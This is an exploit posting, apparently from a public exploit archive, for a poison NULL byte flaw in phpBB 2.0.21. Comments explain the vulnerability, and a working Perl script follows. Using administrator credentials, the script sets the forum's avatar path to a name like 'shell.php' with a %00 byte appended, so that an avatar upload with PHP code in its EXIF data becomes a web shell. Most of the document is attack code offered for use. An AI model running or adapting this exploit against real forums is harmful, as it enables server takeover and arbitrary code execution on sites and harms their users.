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phpBB <= 2.0.21 (Poison NULL Byte) Remote Exploit
[=================================================
phpBB <= 2.0.21 (Poison NULL Byte) Remote Exploit
=================================================
#!/usr/bin/perl -w
# Author: ShAnKaR
# Title: multiple PHP application poison NULL byte vulnerability
# Applications: phpBB 2.0.21, punBB 1.2.12
# Threat Level: Critical
#
# Poison NULL byte vulnerability for perl CGI applications was described
# in [1]. ShAnKaR noted, that same vulnerability also affects different
# PHP applications. An example of vulnerable applications are phpBB and
# punBB.
#
# Vulnerability can be used to upload or replace arbitrary files on
# server, e.g. PHP scripts, by adding "poison NULL" (%00) to filename.
#
# In case of phpBB and punBB vulnerability can be exploited by changing
# location of avatar file and uploading avatar file with PHP code in EXIF
# data.
#
# A PoC exploit to change Avatar file location for phpBB:
#
#
use HTTP::Cookies;
use LWP;
use URI::Escape;
unless(@ARGV){die "USE:\n./phpbb.pl localhost.com/forum/ admin pass images/avatars/shell.php [d(DEBUG)]\n"}
my $ua = LWP::UserAgent->new(agent=>'Mozilla/4.0 (compatible; Windows 5.1)');
$ua->cookie_jar( HTTP::Cookies->new());
$url='http://'.$ARGV[0].'/login.php';
$data="username=".$ARGV[1]."&password=".$ARGV[2]."&login=1";
my $req = new HTTP::Request 'POST',$url;
$req->content_type('application/x-www-form-urlencoded');
$req->content($data);
my $res = $ua->request($req);
$res=$ua->get('http://'.$ARGV[0].'/login.php');
$content=$res->content;
$content=~ m/true&sid=([^"]+)"/g;
if($ARGV[4]){
$content=$res->content;
print $content;
}
$url='http://'.$ARGV[0].'/login.php';
$data="username=".$ARGV[1]."&password=".$ARGV[2]."&login=1&admin=1";
$req = new HTTP::Request 'POST',$url;
$req->content_type('application/x-www-form-urlencoded');
$req->content($data);
$res = $ua->request($req);
$url='http://'.$ARGV[0].'/admin/admin_board.php?sid='.$1;
$data="submit=submit&allow_avatar_local=1&avatar_path=".$ARGV[3]."%00";
$req = new HTTP::Request 'POST',$url;
$req->content_type('application/x-www-form-urlencoded');
$req->content($data);
$res = $ua->request($req);
if($ARGV[4]){
$content=$res->content;
print $content;
}
# 0day.today [2024-12-24] #